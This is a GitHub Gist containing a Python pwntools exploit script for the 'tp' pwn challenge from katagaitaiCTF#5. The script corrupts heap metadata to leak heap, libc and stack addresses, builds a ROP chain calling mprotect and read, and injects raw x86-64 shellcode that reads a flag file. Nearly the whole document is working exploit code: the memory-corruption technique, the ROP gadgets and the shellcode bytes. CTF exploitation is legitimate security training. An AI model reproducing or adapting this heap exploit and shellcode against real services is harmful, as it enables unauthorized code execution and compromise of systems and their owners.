Created
August 28, 2016 15:21
-
-
Save ptr-yudai/376cb12b26c9677ac1f6ac8de4f21169 to your computer and use it in GitHub Desktop.
tp - Pwn - katagaitaiCTF#5 関西med
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
class tp: | |
# | |
# Constructor | |
# | |
def __init__(self, host, port): | |
# Connect to server | |
self.sock = remote(host, port) | |
# List of commands | |
self.cmd_new = 0 | |
self.cmd_read = 1 | |
self.cmd_write = 2 | |
self.cmd_free = 3 | |
self.cmd_delete = 4 | |
return | |
# | |
# Destructor | |
# | |
def __del__(self): | |
self.sock.close() | |
return | |
# | |
# Command 0 : new | |
# | |
def remote_new(self, size): | |
self.sock.send( p32(self.cmd_new) ) | |
self.sock.send( p64(size & 0xFFffFFffFFffFFff) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] new({0}) --> {1}".format(size, ret)) | |
return ret | |
# | |
# Command 1 : read | |
# | |
def remote_read(self, note, data, noread=False): | |
self.sock.send( p32(self.cmd_read) ) | |
self.sock.send( p32(note) ) | |
self.sock.send( p64(len(data)) ) | |
self.sock.send( data ) | |
if noread: | |
ret = "" | |
print("[info] read without recv!") | |
else: | |
ret = u32(self.sock.recv(4)) | |
print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret)) | |
return ret | |
# | |
# Command 2 : write | |
# | |
def remote_write(self, note, size): | |
self.sock.send( p32(self.cmd_write) ) | |
self.sock.send( p32(note) ) | |
self.sock.send( p64(size) ) | |
data = self.sock.recv(size) | |
ret = u32(self.sock.recv(4)) | |
print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret)) | |
return ret, data | |
# | |
# Command 3 : free | |
# | |
def remote_free(self, note): | |
self.sock.send( p32(self.cmd_free) ) | |
self.sock.send( p32(note) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] free({0}) --> {1}".format(note, ret)) | |
return ret | |
# | |
# Command 4 : delete | |
# | |
def remote_delete(self, note): | |
self.sock.send( p32(self.cmd_delete) ) | |
self.sock.send( p32(note) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] delete({0}) --> {1}".format(note, ret)) | |
return ret | |
# | |
# Main | |
# | |
if __name__ == '__main__': | |
base_id = 0x13 # 0x1337? | |
tp = tp('127.0.0.1', 9999) | |
raw_input('Press enter after attaching to the server with GDB.') | |
## Prepare for exploitation | |
note1 = tp.remote_new(1) | |
note2 = tp.remote_new(1) | |
# use main_arena | |
note3 = tp.remote_new(-1) # linked to fastbins, main_arena | |
# use thread_arena | |
note4 = tp.remote_new(-1) # linked to bins, thread_arena | |
tp.remote_free(note2) # note2.used = 0 | |
note5 = tp.remote_new(0x28) # ¬e5 == ¬e4 | |
# write to ¬e4 --> overwrite note4.id | |
tp.remote_read(note5, p64(base_id)) | |
# new map having same address as note4 (whose id is base_id) | |
note6 = tp.remote_new(0x100) # linked to bins, thread_arena | |
## Leak heap_base | |
# write to ¬e4 --> overwrite note4.id and note4.buffer | |
# then note4.buffer will have the same address as bins, thread_arena | |
tp.remote_read(note5, p64(base_id) + "\x70\x08") | |
# 0x00007fe6dc000870 -> 0x00007fe6dc000858 | |
# so ret-0x858 is the very address of the heap base | |
heap_base = tp.remote_write(base_id, 8)[1] | |
heap_base = u64(heap_base) - 0x858 | |
print("[info] heap base = 0x{0:x}".format(heap_base)) | |
## Leak libc_base | |
# leak main_arena | |
tp.remote_read(note5, p64(base_id) + "\x88\x08") | |
main_arena = tp.remote_write(base_id, 8)[1] | |
main_arena = u64(main_arena) | |
print("[info] main_arena = 0x{0:x}".format(main_arena)) | |
# leak libc_base | |
libc_base = main_arena - 0x3be760 # (because main_arena has solid address) | |
print("[info] libc_base = 0x{0:x}".format(libc_base)) | |
## Leak ret | |
# leak __environ (and read) | |
tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0)) | |
environ = tp.remote_write(base_id, 8)[1] | |
environ = u64(environ) | |
print("[info] __environ = 0x{0:x}".format(environ)) | |
# leak ret | |
ret = environ - 0x200 | |
print("[info] ret = 0x{0:x}".format(ret)) | |
## shallcode!? --> doesn't work! | |
shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff" | |
shellcode += "/home/tp/flag1\x00" | |
## shellcode!! --> does work! | |
shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831" | |
shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF" | |
shellcode = shellcode.decode("hex") + "/home/tp/flag1\0" | |
## ROP gadget! | |
# rp-lin-x64 | |
pop_rdx = 0x00001b8e | |
pop_rsi = 0x00024885 | |
pop_rdi = 0x00022b9a | |
## ROP payload! | |
payload = "" | |
# mprotect(rdi=addr, rsi=len, rdx=prot) | |
payload += p64(libc_base + pop_rdi) # .addr | |
payload += p64(heap_base + 0x1000) | |
payload += p64(libc_base + pop_rsi) # .size | |
payload += p64(len(shellcode) + 1) | |
payload += p64(libc_base + pop_rdx) # .prot | |
payload += p64(7) | |
payload += p64(libc_base + 0xf48d0) # mprotect | |
# read(rsi=addr, rdx=size, rdi=std?) | |
payload += p64(libc_base + pop_rsi) # .addr | |
payload += p64(heap_base + 0x1000) | |
payload += p64(libc_base + pop_rdx) # .size | |
payload += p64(len(shellcode)) | |
payload += p64(libc_base + pop_rdi) # .fd | |
payload += p64(0) | |
payload += p64(libc_base + 0xeb6a0) # read | |
payload += p64(heap_base + 0x1000) # jump to shellcode | |
tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload))) | |
tp.remote_read(base_id, payload, noread=True) | |
## Send shellcode! | |
tp.sock.send(shellcode) | |
## interactive mode | |
tp.sock.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment